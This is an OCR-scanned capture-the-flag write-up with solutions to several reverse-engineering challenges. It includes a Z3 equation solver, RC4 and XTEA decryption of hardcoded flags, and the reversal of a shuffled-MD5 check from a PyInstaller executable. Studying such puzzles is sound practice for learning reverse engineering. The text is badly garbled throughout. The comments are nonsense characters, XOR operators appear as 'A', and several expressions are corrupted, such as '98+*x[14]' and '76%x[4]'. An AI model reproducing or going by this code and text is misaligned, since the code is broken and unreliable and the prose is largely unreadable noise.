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1BOOL _ cdecl sub_4@leee(char *al)
24

3 char v1; // t1

4 char v2; // t1

5 char v3; // t1

6 char v4; // t1

7 BOOL v6; // [esp+@h] [ebp-4h]

8

9 ve = 94 * a1[22]
10 + 74 % 21[21]
11 + 70 * al[19]
12 + 12 * al1[18]
13 + 20 * al[16]
14 + 62 * a1[12]
15 + 82 * al[1e]
16 + 7 % al[7]
17 + 63 * al[6]
18 + 18 * 21[5]
19 + 58 * 21[4]
20 + 94 * a1[2]
21 + 77 ¥ *al
22 - 43 * 31[1]
23 - 37 * 21[3]
24 - 97 * 21[8]
25 - 23 * 31[9]
26 - 86 * 2l[11]
27 - 6 * 31[13]
28 - 5 % 31[14]
29 - 79 * a1[15]
38 - 63 * 21[17]
31 - 93 * z1[20] == 20156
32 && 87 * al1[22]
33 + 75 * a1[21]
34 + 73 * al[15]
35 + 67 * al[14]
36 + 30 * al[13]
37 + (21[11] << 6)
38 + 35 * al[9]
39 + 91 * a1[7]
40 + 91 * al1[5]
41 + 34 * 21[3]
42 + 74 * *31
43 - 89 * 21[1]
44 - 72 * 21[2]
45 - 76 * al[4]
46 - 32 * z1[6]
47 - 97 * 21[8]
48 - 39 * 31[10]
49 - 23 * al[12]
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fRERIAINT
from z3 import *

def solve_flag():
# BB 23N BT E
x = [Int(f'x_{i}') for i in range(23)]

s = Solver()

# ININAHR: TR ROZSE R HTENASCITIFAF (32-126)
for i in range(23):

s.add(x[i] >= 32)

s.add(x[1] <= 126)

# BILJEM23M T (REZ3 AL AR e 50

# T2l

s.add(94*x[22] + 74*x[21] + 70*x[19] + 12*x[18] + 20*x[16] + 62*x[12] +
82*x[10] + 7*x[7] + 63*x[6] + 18*x[5] + 58*x[4] + 94*x[2] + 77*x[0] -
43*x[1] - 37*x[3] - 97*x[8] - 23*x[9] - 86*x[11] - 6*x[13] - 5*x[14] -
79*x[15] - 63*x[17] - 93*x[20] == 20156)

# A2 - BIE: MIHZ3MAR R

s.add(87*x[22] + 75*x[21] + 73*x[15] + 67*x[14] + 30*x[13] + x[11]*64 + # HChIe

%, N << 6 T * 64
35*x[9] + 91*x[7] + 91*x[5] + 34*x[3] + 74*x[0] - 89*x[1] - 72*x[2] -
76%x[4] - 32*x[6] - 97*x[8] - 39*x[10] - 23*x[12] + 8*x[16] - 98*x[17] -
4%x[18] - 80*x[19] - 83*x[20] == 7183)

# JiFE3

s.add(51*x[21] + 22*x[20] + 15*x[19] + 51*x[17] + 96*x[12] + 34*x[7] +
77*x[5] + 59*x[2] + 89*x[1] + 92*x[0] - 85*x[3] - 50*x[4] - 51*x[6] -
75*x[8] - 40*x[10] - 4*x[11] - 74*x[13] - 98+*x[14] - 23*x[15] -
14*x[16] - 92*x[18] - 7*x[22] == -7388)

# Jifd4

s.add(61*x[22] + 72*x[21] + 28*x[20] + 55*x[18] + 20*x[17] + 13*x[14] +
51*x[13] + 69*x[12] + 10*x[11] + 95*x[10] + 43*x[9] + 53*x[8] +
76*x[7] + 25*x[6] + 9*x[5] + 10*x[4] + 98*x[1] + 70*x[0] - 22*x[2] +
2*x[3] - 49*x[15] + 4*x[16] - 77*x[19] == 69057)

# JFES

s.add(7*x[22] + 21*x[16] + 22*x[13] + 55*x[9] + 66*x[8] + 78*x[5] +
10*x[3] + 80*x[1] + 65*x[0] - 20*x[2] - 53*x[4] - 98*x[6] + 8*x[7] -
78*x[10] - 94*x[11] - 93*x[12] - 18*x[14] - 48*x[15] - 9*x[17] -
73*x[18] - 59*x[19] - 68*x[20] - 74*x[21] == -31438)

# Jifs6

s.add(33*x[19] + 78*x[15] + 66*x[10] + 3*x[9] + 43*x[4] + 24*x[3] +
3*x[2] + 27*x[0] - 18+*x[1] - 46*x[5] - 18+*x[6] - x[7] - 33*x[8] -
50%x[11] - 23*x[12] - 37*x[13] - 45*x[14] + 2*x[16] - x[17] -
60*x[18] - 87*x[20] - 72*x[21] - 6*x[22] == -26121)

# JIrE7



s.add(31*x[20] + 80*x[18] + 34*x[17] + 34*x[15] + 38*x[14] + 53*x[13] +
35*x[12] + 82*x[9] + 27*x[8] + 80*x[7] + 46*x[6] + 18*x[4] + 5*x[1] +
98*x[0] - 12*x[2] - 9*x[3] - 57*x[5] - 46*x[10] - 31*x[11] - 68+*x[16] -
94*x[19] - 93*x[21] - 15*x[22] == 26005)

# Jife8

s.add(81*x[21] + 40*x[20] + 34*x[19] + 94*x[18] + 98*x[17] + 11*x[14] +
63*x[13] + 95*x[12] + 43*x[11] + 99*x[10] + 29*x[9] + 81*x[6] +
72*%x[5] + 54*x[3] + 21*x[0] - 26*x[1] - 90*x[2] - 15*x[4] - 54*x[7] -
12*x[8] - 38*x[15] - 15*x[16] - 56*x[22] == 57169)

# 9

s.add(71*x[18] + 39*x[17] + 73*x[15] + 14*x[14] + 56*x[12] + 56*x[10] +
27*x[9] + 68*x[7] + 39*x[6] + 26*x[5] + 40*x[4] + 24*x[3] + 11*x[2] +
14*x[1] + 94*x[0] - 10*x[8] - 11*x[11] - 63*x[13] - 39*x[16] -
14*x[19] - 17*x[20] - 23*x[21] - 7*x[22] == 40024)

# 10 - BIE: fEHFREREARE
s.add(x[22]*%64 + 80*x[21] + 89*x[20] + 70*x[19] + 66*x[18] + 55*x[17] + # x[22]
<< 6 N x[22]*64
16*x[16] + 84*x[13] + 48*x[12] + 11*x[7] + 32*x[5] + 99*x[0] -
26*x[1] - 91*x[2] - 96*x[3] - 63*x[4] - 67*x[6] - 72*x[8] + 4*x[9] -
84*x[10] - 81*x[11] - 80*x[14] - 98*x[15] == 432)

# JifEll

s.add(x[21] + 41*x[17] + 46*x[12] + 44*x[9] + 63*x[0] - 73*x[1] - 43*x[2] +
4*x[3] - 37*x[4] - 54*x[5] - 58*x[6] - 95*x[7] - 2*x[8] - 37*x[10] -
5*x[11] + 2*x[13] - 46*x[14] - 27*x[15] - 19*x[16] - 78*x[18] -
51*%x[19] - 82*x[20] - 59*x[22] == -57338)

# J7iE12

s.add(10*x[22] + 58*x[18] + 16*x[17] + 69*x[16] + 6*x[15] + 5*x[12] +
87*x[7] + 47*x[5] + 91*x[4] + 54*x[2] + 21*x[1] + 52*x[0] - 76%x[3] -
96*x[6] - 27*x[8] - 43*x[9] - 15*x[10] - 35*x[11] - 53*x[13] + 4*x[14] -
83*x[19] - 68*x[20] - 18*x[21] == 1777)

# J77213

s.add(66*x[22] + 92*x[21] + 29*x[20] + 42*x[19] + 55*x[14] + 72*x[13] +
40*x[12] + 31*x[10] + 88*x[9] + 61*x[8] + 59*x[7] + 35*x[6] + 16*x[3] +
24*x[1] + 60*x[0] - 55*x[2] - 8*x[4] - 7+*x[5] - 17*x[11] - 25*x[15] -
22*x[16] - 10*x[17] - 59*x[18] == 47727)

# J7i214

s.add(3*x[21] + 54*x[18] + 6*x[15] + 93*x[14] + 74*x[10] + 6*x[7] + 98*x[4] +
65*x[3] + 84*x[2] + 18*x[1] + 35*x[0] - 29*x[5] - 40*x[6] - 35*x[8] +
8*x[9] - 15*x[11] - 4*x[12] - 83*x[16] - 74*x[17] - 72*x[19] -
53*x[20] - 31*x[22] == 6695)

# J7215

s.add(45*x[20] + 14*x[19] + 76*x[18] + 17*x[16] + 86*x[14] + 28*x[11] +
19*x[5] + 46*x[1] + 75*x[0] - 12*x[2] - 27*x[3] - 66*x[4] - 27*x[6] -
32*x[7] - 69*x[8] - 31*x[9] - 65*x[10] - 54*x[12] - 6*x[13] + 2*x[15] -
10*x[17] - 89*x[21] - 16*x[22] == -3780)

# J7T216
s.add(62*x[21] + 74*x[20] + 28*x[18] + 7*x[17] + 74*x[16] + 45*x[15] +



57*x[14] + 34*x[11] + 85*x[10] + 98*x[6] + 29*x[4] + 94*x[3] + 51*x[2] +
85*x[1] - 36*x[5] - x[7] - 3*x[8] - 74*x[9] - 70*x[12] - 68*x[13] -
3*x[19] + 8*x[22] == 47300)

# JiREL7

s.add(22*x[22] + 45*x[21] + 14*x[19] + 32*x[18] + 77*x[17] + 70*x[12] +
7*x[10] + 99*x[4] + 82*x[0] - 48*x[1] - 40*x[2] - 81*x[3] - 27*x[5] -
75%x[6] - 79*x[7] - 26*x[8] - 68*x[9] - 57*x[11] - 77*x[13] - 32*x[14] -
x[15] - 91*x[16] - 14*x[20] == -34153)

# 71218

s.add(65*x[21] + 13*x[20] + 61*x[17] + 97*x[13] + 24*x[10] + 40*x[5] +
20*x[0] - 81*x[1] - 17*x[2] - 77*x[3] - 79*x[4] - 45*x[6] - 61*x[7] -
48*x[8] - 97*x[9] - 49*x[11] - 14*x[12] - 81*x[14] - 20*x[15] -
27*x[16] - 89*x[18] - 93*x[19] - 46%x[22] == -55479)

# 77119

s.add(60*x[21] + 70*x[20] + 13*x[15] + 87*x[13] + 76*x[11] + 88+*x[9] +
87*x[3] + 87*x[0] - 97*x[1] - 40*x[2] - 49*x[4] - 23*x[5] - 30*x[6] -
50*x[7] - 98*x[8] - 21*x[10] - 54*x[12] - 65*x[14] - 80*x[17] -
28*x[18] - 57*x[19] - 70%x[22] == -20651)

# 20 - 1BIE: [HRREREAE

s.add(54*x[20] + 86*x[17] + 92*x[16] + 41*x[15] + 70*x[10] + 9*x[9] + x[8] +
96*x[7] + 45*x[6] + 78*x[5] + 3*x[4] + 90*x[3] + 71*x[2] + 96*x[0] -
8*x[1] + 4*x[11] - 55*x[12] - 73*x[13] - 54*x[14] - 89*x[18] -
x[19]%64 - 67*x[21] + 4*x[22] == 35926) # x[19] << 6 X~ x[19]*64

# JitE21

s.add(5*x[22] + 88*x[20] + 52*x[19] + 21*x[17] + 25*x[16] + 3*x[13] +
88*x[10] + 39*x[8] + 48*x[7] + 74*x[6] + 86*x[4] + 46*x[2] + 17*x[0] -
98*x[1] - 50*x[3] - 28+*x[5] - 73*x[9] - 33*x[11] - 75*x[12] - 14*x[14] -
31*x[15] - 26*x[18] - 52*x[21] == 8283)

# J7E22

s.add(96*x[22] + 85*x[20] + 55*x[19] + 99*x[13] + 19*x[11] + 77*x[10] +
52*x[9] + 66*x[8] + 96*x[6] + 72*x[4] + 90*x[3] + 60*x[1] + 94*x[0] -
99*x[2] - 26%x[5] - 94*x[7] - 49*x[12] - 32*x[14] - 54*x[15] - 92*x[16] -
71%x[17] - 63*x[18] - 23*x[21] == 33789)

# JifE23

s.add(15*x[22] + x[19] + 26*x[17] + 65*x[16] + 80*x[11] + 92*x[8] + 28*x[5] +
79%x[4] + 73*x[0] - 98+*x[1] - 2*x[2] - 70*x[3] - 10*x[6] - 30*x[7] -
51*x[9] - 77*x[10] - 32*x[12] - 32*x[13] + 8*x[14] + 4*x[15] - 11*x[18] -
83*x[20] - 85*x[21] == -10455)

# KR
if s.check() == sat:
model = s.model()
# RHLE
solution = []
for i in range(23):
solution.append(model[x[i]].as_long())

# i FEdEE CRE0xO)
flag_chars = []



for val in solution:
flag_chars.append(chr(val A 0xC))

flag = ''.join(flag_chars)
return flag

else:
return None

,_ | K3 u
MITKAE
if name == "main":

flag = solve_flag()

if flag:
print(f"BDoskfR! Flagya: {flag}")
else:

print("KAFKLNY, BIEESEIRE")
ERF ARIIKAR! Flag#s: ISCTF{yR_A_Zzz_Ma5t3R!}

ezpy

&R e s

I ezpy.exe extracted 2025/12/1 22:27 praiea
& ezpyexe 2025/12/1 12:07 MrFERER 7,083 KB
K ezpyicd 2025/12/1 13:15 164 374 5238 KB

B pyinstxtractor.py 2025/11/23 2:40 Python File 18 KB

exeEWRBIRT#IMTHHIX 2pyinstallerf TR, {FERApyinstxtractorf#Eli§Eextracted343k, iLAEE
REINEEENezpy.pyckiRBE HERluncompyledk& decompyleR4wiF


af://n10
af://n12

] C:AWINDOWS\system32\cmd. X + v

C:\Users\1>python
Python 3.13.7 (tags/v3.13.7:bceelc3, Aug 14 2025, 14:15:11) [MSC v.1944 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.

# disassemble.py

import dis

import marshal

import types

with open(x"C:\Users\1\Desktop\ezpy_memory_fixed.pyc", "rb") as f:
f.read(16) # Bkid LB
code_obj = marshal.load(f)

print("=== RCHER ===")
dis.dis(code_obj)

print("\n=== EEX ===")
for i, const in enumerate(code_obj.co_consts):
print(f" {i}: {const}")

print("\n=== &fRFE ===")
for i, name in enumerate(code_obj.co_names):
print(f" {i}: {name}")

print("\n=== TEGE ==="
for i, var in enumerate(code_obj.co_varnames):
print(f" {i}: {var}")

== RICRER ===
o RESUME

NOP

LOAD_CONST (o)
LOAD_CONST (('check',))
IMPORT _NAME (mypy)
IMPORT_FROM (check)
STORE_NAME (check)
POP_TOP

LOAD_CONST (<code object main at Ox000002131389CCOO, file "ezpy.py", line 8>)
MAKE_FUNCTION
STORE_NAME (main)

] CAWINDOWS\system32\cmd. X a2

LOAD_GLOBAL (input + NULL)

LOAD_CONST ('Please input your flag: ')
CALL

LOAD_ATTR (strip + NULL|self)

CALL

STORE_FAST (user_input)

LOAD_GLOBAL (check + NULL)
LOAD_FAST (user_input)
CALL

TO_BOOL

POP_JUMP_IF_FALSE (to L1)

LOAD_GLOBAL (print + NULL)
LOAD_CONST ('Correct!')
CALL

POP_TOP

RETURN_CONST (None)

LOAD_GLOBAL (print + NULL)
LOAD_CONST ('Wrong!")
CALL

POP_TOP

RETURN_CONST (None)

=== BEE ==
0: 0

: ('check',)
: Error: Cannot import mypy module
g i
: <code object main at ©x000002131389CCOO, file "ezpy.py", line 8>
: __main__
: None

=== ZE ===
0: mypy
: check
: ImportError
: print
1 exit
: main
: __nhame__

BUHABZREXRER, TE2KextractedXHELERNIMypy.pydsidaz,




pel
pe2
pe7
pe7
P1F
825
825
42
e5e
p5e
p5e
p5e
p5e
28e@
288
2AG
BA8
eBe
2B8
ece

MNP OOUOSNOOVPEPWUWNPOIOUVOONOOVRAPWNPOOUVNONOTUVRPWNRNPOOVONNOOV R WNRE

db e
aMypy db 'mypy",@ ; DATA XREF: .data:@e@0ee0836F4D3848%0
aRc4FlagChecker db 'RC4 flag checker module',®
; DATA XREF: .data:@000880836F4D385870
aCheck db ‘check’',® ; DATA XREF: .data:off_36F4D3BA6To
aCheckIfTheFlag db 'Check if the flag is correct',®
; DATA XREF: .data:000000036F4D36B8T0
align 1eh
; _BYTE byte_36F4D4058[48]
byte_36F4D4856 db 1Dh, eD5h, 38h, 33h, @AFh, @B5Sh, 51h, 8F3h, 2Ch, 6Bh
; DATA XREF: sub_36F4D1519+C2%o
db 6Eh, @FEh, 41h, 24h, 43h, @D2h, 71h, ©CFh, ©A4h, 4Ch
db 8E3h, 2 dup(9Ah), @B5h, 31h, 17h dup(@)
off_36F4D468@ dq offset TlsCallback @ ; DATA XREF: .rdata:off_36F4D428@lo

align 2eh
TlsDirectory dgq offset TlsStart
TlsEnd_ptr dgq offset TlsEnd
TlsIndex_ptr dgq offset TlsIndex

TlsCallbacks_ptr dq offset TlsCallbacks
TlsSizeOfZeroFill dd @

m1281 *_ fastcall sub_36F4D1519(__int64 al, _ int64 a2)

- |

char *v2; // rsi

_BYTE *v3; // rbx

char *v5; // rax

int v6; // eax

__inte4 v7; // rax

char v8[8]; // [rsp+26h] [rbp-132h]
char v9; // [rsp+36h] [rbp-128h]
char *str; // [rsp+138h] [rbp-28h]

strcpy(vg, "ISCTF2825");
if ( !(unsigned int)PyArg_ParseTuple(z2, &unk_36F4D4@00, &Str) )
return 0is4;

v2 = Str;
v3 = (_BYTE *)Py_FalseStruct;
if ( (unsigned int)strlen(Str) == 25 )
{
v5 = (char *)malloc(@ex19ui64);
v3 = v5;
if (vs )
{
*¥(__ml281 *)v5 = _mm_loadu_sil28((const _ ml28i *)v2);
¥(_m1281i *)(v5 + 9) = _mm_loadu_sil28((const _ m128i *)(v2 + 9));
v6 = strlen(vs);
sub_36F4D1430((__int64)&v9, (__inté4)vs, véE);
sub_36F4D149C((__ int64)&v9, v3, 25);
v7 = 0i64;
while ( v3[v7] == byte_36F4D4@5@[v7] )
if ( ++v7 == 25 )
{
free(v3);
return (__ml281 *)Py_TrueStruct;
}
h
free(v3);
v3 = (_BYTE *)Py_FalseStruct;
1
else

PyErr_NoMemory();
1

rcdiE, HAAISCTF2025, MFEZMIAINT

def rc4_decrypt(key, ciphertext):
" RCARREER (MMERREER)
# ZIRRERE

S

j

= list(range(256))
=0

foriin range(256):

j = (j + S[i] + key[i % len(key)]) % 256



S[il, S[1 = S(jl, SIi

# B AR AR
i=3=0
plaintext = []
for byte in ciphertext:
i=(G + 1) % 256
j = (G + s[i]) % 256
s[il, s[j1 = s[jl, slil
k = s[(s[i] + s[j1) % 256]
plaintext.append(byte A k)

return bytes(plaintext)

B R
ciphertext = bytes([
0x1D, 0xD5, 0x38, 0x33, OxAF, 0xB5, 0x51, OxF3,
0x2C, Ox6B, 0x6E, OXFE, 0x41, 0x24, 0x43, 0xD2,
0x71, OxXCF, OxA4, 0x4C, OxE3, 0x9A, 0x9A, 0xB5, 0x31
)

{EFHEEH "ISCTF2025"

key = b"ISCTF2025"

print("FFIARCARRZR...")
print(f"2Z558: {key}")
print(f"B53<E: {len(ciphertext)} 75"

s

decrypted = rc4_decrypt(key, ciphertext)
print(f"FEER (FIEF1): {decrypted.hex()}")

=R AT TR

try:
text = decrypted.decode('utf-8')
print(f"f#Z XA (UTF-8): {text}")
except:
try:
text = decrypted.decode('ascii')
print(f"E#ZE A (ASCII): {text}")
except:
# BNFIRF HFIRFTENFFF
text = ".join(chr(b) if 32 <=b <127 else f'\x{b:02x}' for b in decrypted)
print(f"FELER (BS): {text}")



af://n23
af://n25
af://n28
af://n30
af://n32

iEEE AflagiE

if b'isctf{" in decrypted.lower() or b'flag{' in decrypted.lower():
print(" & &Iflaghgzt!")

# R flagH %

flag_text = decrypted.decode('ascii', errors='ignore')
print(f"Flag: {flag_text}")

Flag: ISCTF{YOU_GE7_7HE_PYD!l}

MysteriousStream

fELinuxE#ifTchanllenge

[leak end]

2nd dinput: 4
Goodbye!

((pwn-env) szrw@LAPTOP-S
wn-env woLAF /
piyload.zlat: data i ealend dat

(pwn-env) s: LAPTOP-S \R9: $
I3 ile challenge
challenge: ELF 64-bit ie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter 6~ “‘
64 2, Build sha ok 1 b64/1d~ -
-50.2, Bu: ID = ccns2802593é12b08b523011‘2, for GNU/Linux 3.2.0, v'wt"u.ippns i |

(pwn-env) szrwBLAPT( )VUAR9
| Result: ISCTF{Veu_a2 g shaltane

| Cpwn-env)

Q 1713% @ @ g 2

B3IflagISCTF{YOu_a2e_2eally_a_1aby2inth_master}

F

m
-

Please input your flag:AAAAAAAAAAAA
Length Wrongl!!!
Traceback (most recent call last):
File "main.py", line 10, in
NameError: name 'exit' is not defined
[PYI-5075:ERROR] Failed to execute script 'main' due to unhandled exception!

XEEInuxEETRER, RHIIXEF T8IpythonilA, TE#E


af://n32
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iR
" main_extracted 2025/12/2 22:06
B main 2025/12/1 19:55 3 5,926 KB

B main.ic4 2025/12/2 22:37 164 {5 798 KB

B pyinstxtractor.py 2025/11/23 2:40 Python File 18 KB

(ERTEL R miEpy Cuh [ ImiE SR AImain. py i EIZN RS

Visit https://www.lddgo.net/string/pyc-c
ompile-decompile for more information

Version : Python 3.10

import base64
import hashlib
import random
flag =
'8d13¢398b72151b1dad78762553dbbd59dba9b0b2330b03b401eadf2a6d4731d479220fe900b520f
6b4753667fe1cdf9eff8d3b833a0013c4083fa1ad27d056486702bda245f3c1aalfbf84b237d8f2dec9
a80791fe66625adfe3669419a104cbb67293eaada20f79cebf69d84d326025dd35dec09a2c97ad838e
faSbeba9e72'
Yourlnput = input('Please input your flag:")
enc="
if len(Yourlnput) != 24:

print('Length Wrong!!!")

exit(0)

def Rep(hash_data):

random.seed(161)

result = list(hash_data)

foriinrange(len(result)- 1,0, -1):
swap_index = random.randint(0, i)
result[i] = result[swap_index]
result[swap_index] = result[i]

return ".join(result)

foriin range(len(Yourlnput) // 3):
C2b = base64.b64encode(Yourlnput[i * 3:(i + 1) * 3].encode('utf-8"))
hash = hashlib.md5(c2b).hexdigest()
enc += Rep(hash)


https://www.lddgo.net/string/pyc-compile-decompile
https://www.lddgo.net/string/pyc-compile-decompile
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if enc == flag:
print("Your are win!!!")
return None

None('Your are lose!ll")

RIS

import base64
import hashlib
import random

def Rep(hash_data):
" IER R
random.seed(161)
result = list(hash_data)
foriin range(len(result)- 1,0, -1):
swap_index = random.randint(0, i)
result[i], result[swap_index] = result[swap_index], result[i]
return ".join(result)

def reverse_Rep(permuted_hash):
R - (S
random.seed(161)
n = len(permuted_hash)

# K IER BB G2
swaps = []
indices = list(range(n))
for i in range(n - 1, 0, -1):
swap_index = random.randint(0, i)
swaps.append((i, swap_index))
indices[i], indices[swap_index] = indices[swap_index], indices[i]

# WA R R N E— SR D
result = list(permuted_hash)
for i, swap_index in reversed(swaps):
result[i], result[swap_index] = result[swap_index], result[i]

return .join(result)

target_flag =
'8d13¢398b72151b1dad78762553dbbd59dbad9b0b2330b03b401eadf2a6d4731d479220fe900b520f
6b4753667fe1cdf9eff8d3b833a0013c4083fa1ad27d056486702bda245f3c1aa0fbf84b237d8f2dec9
a80791fe66625adfe3669419a104cbb67293eaada20f79cebf69d84d326025dd35dec09a2c97ad838e
faSbeba9e72'

AP RFEESIEH

print("MEFEREL...")

test md5="a" * 32

permuted = Rep(test_md5)
reversed_md5 = reverse_Rep(permuted)

print(f'[{R48: {test_md5}")
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print(f"&2f5: {permuted}")
print(f"i¥@): {reversed_md5}")
print(f¥EEEEH: {test_md5 == reversed_md5}")

#[E Eirflag

target_md>5s = [target_flag[i32:(i+1)32] for i in range(8)]
original_md5s = [reverse_Rep(md5) for md5 in target_md5s]

print("\niF#EEEIRREBMD5E:")
for i, md5 in enumerate(original_md5s):
print(f"¢4B{i+1}: {md5}")

IRTER JItRiRE

print("\nFHIARESIRHRE. ..")

def brute_force_group(target_md5, group_num):

"SR — B3N
found =[]

# e ASCITAITEI 745
for cl in range(32, 127):
for c2 in range(32, 127):
for c3 in range(32, 127):
test_str = chr(cl) + chr(c2) + chr(c3)
test_b64 = base64.b64encode(test_str.encode()).decode()
test_md5 = hashlib.md5(test_b64.encode()) .hexdigest()

if test_md5 == target_md5:
found.append(test_str)
print(f"#{group_num} ##|: '{test_str}' -> base64: {test_b64}")

return found

e —E

all_found =]
for i, target_md5 in enumerate(original_md5s):
print(f"\nAZ#ZSE{i+1}4H MD5: {target_md5}")
found = brute_force_group(target_md5, i+1)
if found:
all_found.append(found[0]) # EXE—NREIRY
print(f'v §5{i+1}4EMARRLIN: {found[0]}")
else:
all_found.append(None)
print(f' X g5{i+1 AR
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WNREERFET, ISR

if all(None not in all_found):
final_flag = ".join(all_found)
print(f"\n & &R#&flag: {final_flag}")

# E
enc = "'
for part in all_found:
c2b = base64.b64encode(part.encode()).decode()
hash_val = hashlib.md5(c2b.encode()) .hexdigest()

enc += Rep(hash_val)

print(f"IiF4%: {enc == target_flag}™)
if enc == target_flag:
print("v FlagiiFmas! ")
print(f"iEEfRErhfAN: {final_flag}")

else:
print(f"\nZBoAfELEER: {all_found}")

# R F I HEEEFI 5
known_parts = [p if p else "???" for p in all_found]
print(f"H4argsf: {''.joinCknown_parts)}")

it ERImE (AJEERISCTF)

print("\nfFaliaEE I flagt&=...")
test_cases = [
"ISC", "TH{", "fla", "g{", "ctf", "{",
"ISCTF", "flag", "CTF", "ctf"

]

for test in test_cases:
if len(test) == 3:
test_b64 = baseb4.b64encode(test.encode()).decode()
test_md5 = hashlib.md5(test_b64.encode()).hexdigest()
for i, target in enumerate(original_md5s):
if test_md5 == target:
print(f'PLlg: {test} -> 4H{i+1}")

BRIE#RSS 148 MD5: 55d92b8b71bb1575cd38da27863d3d11
281 #£%): 'I1SC' -> base64: SVND
v SB1ERERRRIN: 1SC

AERES 248 MD5: ba4033b73b230de691d94024afb1adb0
482 F: '"TF{' -> base64: VEZ7
v SE2LAERRRLTIN: TF{
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RS 34H MD5: 576f0dec0990297f2fe41b63560427fb
#83 #Zl: 'NO7' -> base64: Tk83
v SE3RAMEARRLIN: NO7

IEfRES44H MD5: 0d4ba5803f331432d67ed0aaf1388fcO
484 #F|: ' 3x' -> base64: XzN4
v SBAERGRRRLIN: _3X

IEfRES54E MD5: 32ad5fa84721cdb32278d0b8&f4bf06af
485 $£3F: '3_i' -> base64: M19p
v SESERGRERTN: 3 i

TEfRE564H MD5: 64a7e091f9126ce1849ead96360fac56
486 %Z|: '5_3' -> base64: NV8z
v SEOEmGRER TN 5_3

IEfRES 748 MD5: 2893d6e2a6af02b420db3cd6f99e7b7a
287 ¥Z: 'LfI' -> base64: TGYh
v SE7EERERIN: L

IfREEE84H MD5: cbdeaec99d07928e57b5a85fead33da2
ZH8 FE: "1} -> base64: ISF9

v SESYEMRRAID: !}

ZApkflag ISCTF{NO7_3x3_i5_3Lf!lI}

ez xtea
File: XTEA.exe Sou [j
Entry Point : 00008008 oo < FEPSection: AA = il
File Offset: 00001A08 FirstBytes:  6A 00 60 9C 55 (1) Plug
Linker Info : 14,44 SubSystem :  Win Console PE K-35
File Size : 00003800h < N Overlay: NO 00000000 — @
(D =
Image is 32bit executable RES/OVL: 0/ 0 % 2025 =
*Unknown Packer-Protector , EP : 6A 00 .., 02 sections [Win Vista][NoIr  g5ean /t Rip
HRER - FET RERER =
Click - [ Scan /t] Button or Detect via : DIE v3 http://ntinfo.biz S I~ 2>
b A
FEER, 8%, MEXE=1TTBER, FIFEERLZIERA, MAx32@ETespEEfiTT, 55t
fofgiz{Tidpushad, AfEKesp MEHHTR, #AFiE170081187D | 55 | push ebp Hgoep, #eip

AEESI, Fscyllat@itdump, REIEEIATER, SAERIdatTH, LAIEZRE FE—LEEBEmemoryE
4T, H—Fimagebase

import pefile

pe = pefile.PE("XTEA_dump_SCY.exe")

print(hex(pe.OPTIONAL_HEADER.ImageBase))

Ox810000
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MlidaBIBABIUEA—HE, #p0x00400000/54 I LHAIREREVRLL, FRLUAEEL,

Please specify the new image base

Input 0:00810000 ~
0K Cancel
__1 - U T
2signed int __usercall start@<eax>(int al@<ebp>, int a2@<esi>)
31

4 signed int result; // eax
5 int v3; // ST14_4

6 void (**v4)(void); // eax
7  wvoid (**v5)(void); // esi
g wvoid (*v6)(void); // esi
9 int *v7; // eax

19  int *v8; // esi

11 int v9; // edi

12 int vie; // esi

13 _DWORD *vi11; // eax

14 int vi12; // etl

16 sub_811c40();

17 if ( !sub_811A14(1) )
18 {

19 sub_811D00(7);

20 goto LABEL_14;
21}

22 *(_BYTE *)(al - 25)
23 *(_DUWORD *)(al - 4)
24 *(_BYTE *)(al - 36)
25 dword_8143CC = 1;
26 if ( !initterm_e(&dword_813@FC, dword_813108) )
27 4

28 initterm(&dword_813@F@, &dword_813@F8);

29 dword_8143CC = 2;

30 sub_811B6B(*(_DWORD *)(al - 36));

e;
e;
sub_8119E2();

31 v4 = (void (**)(void))sub_811CF4(v3);
32 v5 = v4;

33 if ( *v4 && sub_811AD4((int)v4) )

34 {

35 ve = *y5;

36 _(ve, @, 2, 9);

37 ve();

38 )

39 v7 = (int *)sub_811CFA();

40 v8 = v7;

41 if ( *v7 && sub_811AD4((int)v7) )

42 register_thread_local_exe_atexit_callback(*v8);
43 v9 = get_initial_narrow_environment();

44 v1e = *(_DWORD *)_p___argv();
45 v1l = (_DWORD *)_p___argc();

46 a2 = ((int (__cdecl *)(_DWORD, int, int))loc_811370)(*v11, vie, v9);
47 if ( (unsigned __int8)sub_811E1A() )

48 {

49 cexit();

KEHIXEE, BigS, Rk, —HB=MIIES, HBIRcall ¥ +5,xor jz adc;xor jz jnz adc
patch/BEREERIUC, ASCIEREEIT
FACEOBNINE, 384EXTEA

srand(0Ox7EAu);
else
srand(0Ox7E9u);



sub_8A15A0("Welcome to ISCTF!I\n", vO);
sub_8A15A0("Please input the flag:\n", v1);

Str = malloc(0x29u);
Block = malloc(0x10u);

if (sub_8AT5EQ("%s", Str) == 1 && strlen(Str) == 40)

{
for(i=0;i<40;i+=4)
a3[i/ 4] =Str[i + 3] | (Str[i + 2] << 8) | (Str[i + 11 << 16) | (Str[i] << 24);

sub_8A12B0(BTock);

for (7 = 0; j < 9; ++3)
sub_8A1030(::i, &a3[j], &3[j + 1], Block);

for (k = 0; k < 10; ++k)

{
if (a3[k] !'= dword_8A4000[k])
{
sub_8A15A0("wrong!", v2);
exit(l);
}
}

sub_8A15A0("Congratulation!", v2);
free(str);
free(Block);

}
else

{
sub_8A15A0("Invalid input.\n", v2);
do

n10 = getchar();
while (n10 =10 && n10 !=-1);

free(str);
free(Block);

}
RN

#!/usr/bin/python
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-- mode: python --

MAX_U32 = OXFFFFFFFF
KEY_SEED = 0x7E9
ITERATIONS = 38
INCREMENT = 0x114514

def circular_left(val, bits):
bits = bits & 31
if bits == 0:
return val
return ((val << bits) | (val >> (32 - bits))) & MAX_U32

def circular_right(val, bits):
bits = bits & 31
if bits == 0:
return val
return ((val >> bits) | (val << (32 - bits))) & MAX_U32

class RandomGenerator:
def init(self, init_val):
self.state = init_val & MAX_U32

def next_value(self):
self.state = (self.state * 214013 + 2531011) & MAX_U32
return (self.state >> 16) & OX7FFF

def create_key_material():
generator = RandomGenerator(KEY_SEED)
return [generator.next_value() for i in range(4)]

def decode_pair(left, right, key_mat):
left = left & MAX_U32
right = right & MAX_U32

total_iterations = ITERATIONS
accumulator = (INCREMENT * total_iterations) & MAX_U32

for iteration in range(total_iterations):
rotate_amount2 = (accumulator % 5) + 1
right = circular_right(right, rotate_amount2)

key_idx2 = (accumulator >> 11) & 3

transform2 = (left >> 5) A ((Teft * 16) & MAX_U32)

right = (right - ((key_mat[key_idx2] + accumulator) A (left + transform2))) &
MAX_U32

accumulator = (accumulator - INCREMENT) & MAX_U32

